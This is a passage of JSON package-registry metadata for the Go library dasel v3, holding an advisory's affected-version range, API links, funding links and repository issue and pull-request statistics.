atched_version":"3.3.2","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.3.2"}],"purl":"pkg:go/github.com%2Ftomwright%2Fdasel%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZmNwLWp4aDctMjN4OM4ABT2w/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/tomwright/dasel/v3","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/tomwright/dasel/v3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/tomwright/dasel/v3/dependencies","status":null,"funding_links":["https://github.com/sponsors/TomWright","https://www.buymeacoffee.com/TomWright"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-29T07:32:05.448Z","issues_count":114,"pull_requests_count":173,"avg_time_to_close_issue":5339817.75,"avg_time_to_close_pull_request":2031880.2671232878,"issues_closed_count":72,"pull_requests_closed_count":146,"pull_request_authors_count":26,"issue_authors_count":98,"avg_comments_per_issue":3.2982456140350878,"avg_comments_per_pull_request":0.8265895953757225,"merged_pull_requests_count":111,"bot_issues_count":0,"bot_pull_requests_count":97,"past_year_issues_count":8,"past_year_pull_requests_count":16,"past_year_avg_time_to_close_issue":3635492.5,"past_year_avg_time_to_close_pull_request":88973.875,"past_year_issues_closed_count":6,"past_year_pull_requests_closed_count":8,"past_year_pull_request_authors_count":5,"past_year_issue_authors_count":8,"past_year_avg_comments_per_issue":2.875,"past_year_avg_comments_per_pull_request":1.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":7,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/issues","maintainers":[{"login":"TomWright","count":37,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TomWright"}],"active_maintainers":[{"login":"TomWright","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TomWright"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftomwright%2Fdasel%2Fv3/codemeta","maintainers":[]}